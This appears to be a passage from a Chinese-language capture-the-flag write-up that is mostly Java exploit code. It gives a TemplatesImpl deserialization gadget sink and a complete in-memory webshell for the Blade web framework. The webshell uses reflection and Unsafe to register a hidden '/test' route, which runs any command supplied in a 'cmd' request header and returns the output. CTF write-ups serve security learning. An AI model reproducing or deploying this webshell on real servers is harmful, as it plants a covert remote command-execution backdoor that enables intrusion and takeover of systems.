class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span>(clazz != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                method = clazz.getDeclaredMethod(methodName, params);</span><br><span class="line">                method.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (NoSuchMethodException var5) &#123;</span><br><span class="line">                clazz = clazz.getSuperclass();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> method;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Method <span class="title function_">getMethod</span><span class="params">(Class clazz, String methodName, Class[] params)</span> &#123;</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span>(clazz != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                method = clazz.getMethod(methodName, params);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (NoSuchMethodException var5) &#123;</span><br><span class="line">                clazz = clazz.getSuperclass();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> method;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>SinkTools</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SinkTools</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SinkTools</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getTemplates</span><span class="params">(<span class="type">byte</span>[] byteCode)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Object</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">            ReflectTools.setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;n1ght&quot;</span>);</span><br><span class="line">            ReflectTools.setFieldValue(templates, <span class="string">&quot;_sdom&quot;</span>, <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>());</span><br><span class="line">            ReflectTools.setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="literal">null</span>);</span><br><span class="line">            ReflectTools.setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;byteCode&#125;);</span><br><span class="line">            <span class="keyword">return</span> templates;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var2) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + var2);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是由于本题不出网</p><h2 id="blade内存马"><a href="#blade内存马" class="headerlink" title="blade内存马"></a>blade内存马</h2><p>获取Context</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">       Class&lt;?&gt; name = Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line">       <span class="type">Field</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> name.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">       theUnsafe.setAccessible(<span class="literal">true</span>);</span><br><span class="line">       <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) theUnsafe.get(<span class="literal">null</span>);</span><br><span class="line">       <span class="type">Thread</span> <span class="variable">thread</span> <span class="operator">=</span> Thread.currentThread();</span><br><span class="line">       ThreadLocal&lt;Object&gt; objectThreadLocal = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">       <span class="type">Method</span> <span class="variable">getMap</span> <span class="operator">=</span> ThreadLocal.class.getDeclaredMethod(<span class="string">&quot;getMap&quot;</span>, Thread.class);</span><br><span class="line">       getMap.setAccessible(<span class="literal">true</span>);</span><br><span class="line">       <span class="type">Object</span> <span class="variable">threadLocals</span> <span class="operator">=</span> getMap.invoke(objectThreadLocal, thread);</span><br><span class="line">       Class&lt;?&gt; threadLocalMap = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap&quot;</span>);</span><br><span class="line">       <span class="type">Field</span> <span class="variable">tablesFiled</span> <span class="operator">=</span> threadLocalMap.getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">       tablesFiled.setAccessible(<span class="literal">true</span>);</span><br><span class="line">       <span class="type">Object</span> <span class="variable">table</span> <span class="operator">=</span> tablesFiled.get(threadLocals);</span><br><span class="line">       <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">       <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; Array.getLength(table); i++) &#123;</span><br><span class="line">           <span class="keyword">try</span> &#123;</span><br><span class="line">               <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> Array.get(table, i);</span><br><span class="line">               System.out.println(o1.getClass().getName());</span><br><span class="line">               <span class="keyword">if</span>(o1.getClass().getName().equals(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>))&#123;</span><br><span class="line">                   o = Array.get(table, i);</span><br><span class="line">               &#125;</span><br><span class="line">           &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br><span class="line">       System.out.println(o);</span><br><span class="line">       Class&lt;?&gt; entry = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>);</span><br><span class="line">       <span class="type">Field</span> <span class="variable">valueField</span> <span class="operator">=</span> entry.getDeclaredField(<span class="string">&quot;value&quot;</span>);</span><br><span class="line">       valueField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">       <span class="type">InternalThreadLocalMap</span> <span class="variable">value</span> <span class="operator">=</span> (InternalThreadLocalMap) valueField.get(o);</span><br><span class="line">       <span class="type">WebContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">       <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; value.size(); i++) &#123;</span><br><span class="line">           <span class="keyword">try</span> &#123;</span><br><span class="line">               <span class="keyword">if</span> (value.indexedVariable(i).getClass().getName().equals(<span class="string">&quot;com.hellokaton.blade.mvc.WebContext&quot;</span>)) &#123;</span><br><span class="line">                   context = (WebContext) value.indexedVariable(i);</span><br><span class="line">                   <span class="keyword">break</span>;</span><br><span class="line">               &#125;</span><br><span class="line">           &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line"></span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br></pre></td></tr></table></figure><p>可以看到RouteMethodHandler的routeHandle逻辑</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701080206-9007yco.png" alt="image"></p><p>首先要注解为@Path，然后有返回类型，获取的方法</p><p>也就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Route</span> <span class="variable">route</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Route</span>(HttpMethod.ALL, <span class="string">&quot;/test&quot;</span>, Exp.class, Exp.class.getDeclaredMethod(<span class="string">&quot;exp&quot;</span>));</span><br></pre></td></tr></table></figure><p>这样看如何注册route</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701080439-ecpze85.png" alt="image"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701080532-1zyk06n.png" alt="image"></p><p>可以看到我们将他加入到routeMatcher和staticMapping里面即可</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ChannelHandlerContext</span> <span class="variable">channelHandlerContext</span> <span class="operator">=</span> context.getChannelHandlerContext();</span><br><span class="line">      <span class="type">HttpServerHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (HttpServerHandler) channelHandlerContext.handler();</span><br><span class="line">      <span class="type">RouteMethodHandler</span> <span class="variable">routeHandler</span> <span class="operator">=</span> (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField(<span class="string">&quot;routeHandler&quot;</span>)));</span><br><span class="line">      <span class="type">RouteMatcher</span> <span class="variable">routeMatcher</span> <span class="operator">=</span> (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField(<span class="string">&quot;routeMatcher&quot;</span>)));</span><br><span class="line">      <span class="type">Path</span> <span class="variable">annotation</span> <span class="operator">=</span> Exp.class.getAnnotation(Path.class);</span><br><span class="line">      System.out.println(<span class="string">&quot;annotations: &quot;</span> + annotation);</span><br><span class="line">      <span class="type">Route</span> <span class="variable">route</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Route</span>(HttpMethod.ALL, <span class="string">&quot;/test&quot;</span>, Exp.class, Exp.class.getDeclaredMethod(<span class="string">&quot;exp&quot;</span>));</span><br><span class="line">      route.setTarget(<span class="keyword">new</span> <span class="title class_">Exp</span>(<span class="string">&quot;aaa&quot;</span>));</span><br><span class="line">      <span class="type">Method</span> <span class="variable">addRoute</span> <span class="operator">=</span> routeMatcher.getClass().getDeclaredMethod(<span class="string">&quot;addRoute&quot;</span>, Route.class);</span><br><span class="line">      addRoute.setAccessible(<span class="literal">true</span>);</span><br><span class="line">      addRoute.invoke(routeMatcher,route);</span><br><span class="line">      System.out.println(routeHandler);</span><br><span class="line">      <span class="type">StaticMapping</span> <span class="variable">staticMapping</span> <span class="operator">=</span> routeMatcher.getStaticMapping();</span><br><span class="line">      staticMapping.addRoute(<span class="string">&quot;/test&quot;</span>,HttpMethod.ALL,route);</span><br></pre></td></tr></table></figure><p>这边的<code>new Exp(&quot;aaa&quot;)</code>​</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701080640-8k1k77d.png" alt="image"></p><p>防止陷入回环地址</p><p>所以整个的exp是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.annotation.Path;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.mvc.WebContext;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.mvc.http.*;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.mvc.route.Route;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.mvc.route.RouteMatcher;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.mvc.route.mapping.StaticMapping;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.server.HttpServerHandler;</span><br><span class="line"><span class="keyword">import</span> com.hellokaton.blade.server.RouteMethodHandler;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandlerContext;</span><br><span class="line"><span class="keyword">import</span> io.netty.util.internal.InternalThreadLocalMap;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Array;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Path</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exp</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Exp</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; name = Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> name.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">        theUnsafe.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) theUnsafe.get(<span class="literal">null</span>);</span><br><span class="line">        <span class="type">Thread</span> <span class="variable">thread</span> <span class="operator">=</span> Thread.currentThread();</span><br><span class="line">        ThreadLocal&lt;Object&gt; objectThreadLocal = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Method</span> <span class="variable">getMap</span> <span class="operator">=</span> ThreadLocal.class.getDeclaredMethod(<span class="string">&quot;getMap&quot;</span>, Thread.class);</span><br><span class="line">        getMap.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">threadLocals</span> <span class="operator">=</span> getMap.invoke(objectThreadLocal, thread);</span><br><span class="line">        Class&lt;?&gt; threadLocalMap = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">tablesFiled</span> <span class="operator">=</span> threadLocalMap.getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">        tablesFiled.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">table</span> <span class="operator">=</span> tablesFiled.get(threadLocals);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; Array.getLength(table); i++) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> Array.get(table, i);</span><br><span class="line">                System.out.println(o1.getClass().getName());</span><br><span class="line">                <span class="keyword">if</span>(o1.getClass().getName().equals(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>))&#123;</span><br><span class="line">                    o = Array.get(table, i);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(o);</span><br><span class="line">        Class&lt;?&gt; entry = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">valueField</span> <span class="operator">=</span> entry.getDeclaredField(<span class="string">&quot;value&quot;</span>);</span><br><span class="line">        valueField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InternalThreadLocalMap</span> <span class="variable">value</span> <span class="operator">=</span> (InternalThreadLocalMap) valueField.get(o);</span><br><span class="line">        <span class="type">WebContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; value.size(); i++) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (value.indexedVariable(i).getClass().getName().equals(<span class="string">&quot;com.hellokaton.blade.mvc.WebContext&quot;</span>)) &#123;</span><br><span class="line">                    context = (WebContext) value.indexedVariable(i);</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">ChannelHandlerContext</span> <span class="variable">channelHandlerContext</span> <span class="operator">=</span> context.getChannelHandlerContext();</span><br><span class="line">        <span class="type">HttpServerHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (HttpServerHandler) channelHandlerContext.handler();</span><br><span class="line">        <span class="type">RouteMethodHandler</span> <span class="variable">routeHandler</span> <span class="operator">=</span> (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField(<span class="string">&quot;routeHandler&quot;</span>)));</span><br><span class="line">        <span class="type">RouteMatcher</span> <span class="variable">routeMatcher</span> <span class="operator">=</span> (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField(<span class="string">&quot;routeMatcher&quot;</span>)));</span><br><span class="line">        <span class="type">Path</span> <span class="variable">annotation</span> <span class="operator">=</span> Exp.class.getAnnotation(Path.class);</span><br><span class="line">        System.out.println(<span class="string">&quot;annotations: &quot;</span> + annotation);</span><br><span class="line">        <span class="type">Route</span> <span class="variable">route</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Route</span>(HttpMethod.ALL, <span class="string">&quot;/test&quot;</span>, Exp.class, Exp.class.getDeclaredMethod(<span class="string">&quot;exp&quot;</span>));</span><br><span class="line">        route.setTarget(<span class="keyword">new</span> <span class="title class_">Exp</span>(<span class="string">&quot;aaa&quot;</span>));</span><br><span class="line">        <span class="type">Method</span> <span class="variable">addRoute</span> <span class="operator">=</span> routeMatcher.getClass().getDeclaredMethod(<span class="string">&quot;addRoute&quot;</span>, Route.class);</span><br><span class="line">        addRoute.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        addRoute.invoke(routeMatcher,route);</span><br><span class="line">        System.out.println(routeHandler);</span><br><span class="line">        <span class="type">StaticMapping</span> <span class="variable">staticMapping</span> <span class="operator">=</span> routeMatcher.getStaticMapping();</span><br><span class="line">        staticMapping.addRoute(<span class="string">&quot;/test&quot;</span>,HttpMethod.ALL,route);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Exp</span><span class="params">(String aaa)</span>&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;aaa&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">exp</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        Class&lt;?&gt; name = Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> name.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">        theUnsafe.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) theUnsafe.get(<span class="literal">null</span>);</span><br><span class="line">        <span class="type">Thread</span> <span class="variable">thread</span> <span class="operator">=</span> Thread.currentThread();</span><br><span class="line">        ThreadLocal&lt;Object&gt; objectThreadLocal = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Method</span> <span class="variable">getMap</span> <span class="operator">=</span> ThreadLocal.class.getDeclaredMethod(<span class="string">&quot;getMap&quot;</span>, Thread.class);</span><br><span class="line">        getMap.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">threadLocals</span> <span class="operator">=</span> getMap.invoke(objectThreadLocal, thread);</span><br><span class="line">        Class&lt;?&gt; threadLocalMap = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">tablesFiled</span> <span class="operator">=</span> threadLocalMap.getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">        tablesFiled.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">table</span> <span class="operator">=</span> tablesFiled.get(threadLocals);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; Array.getLength(table); i++) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> Array.get(table, i);</span><br><span class="line">                <span class="keyword">if</span>(o1.getClass().getName().equals(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>))&#123;</span><br><span class="line">                    o = Array.get(table, i);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(o);</span><br><span class="line">        Class&lt;?&gt; entry = Class.forName(<span class="string">&quot;java.lang.ThreadLocal$ThreadLocalMap$Entry&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">valueField</span> <span class="operator">=</span> entry.getDeclaredField(<span class="string">&quot;value&quot;</span>);</span><br><span class="line">        valueField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InternalThreadLocalMap</span> <span class="variable">value</span> <span class="operator">=</span> (InternalThreadLocalMap) valueField.get(o);</span><br><span class="line">        <span class="type">WebContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; value.size(); i++) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (value.indexedVariable(i).getClass().getName().equals(<span class="string">&quot;com.hellokaton.blade.mvc.WebContext&quot;</span>)) &#123;</span><br><span class="line">                    context = (WebContext) value.indexedVariable(i);</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">HttpResponse</span> <span class="variable">response</span> <span class="operator">=</span> (HttpResponse) context.getResponse();</span><br><span class="line">        <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> context.getRequest();</span><br><span class="line">        <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> request.header(<span class="string">&quot;cmd&quot;</span>);</span><br><span class="line">        response.body(<span class="keyword">new</span> <span class="title class_">Scanner</span>(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="string">&quot;\\A&quot;</span>).next());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>‍</p>]]></content>
    
    
      
      
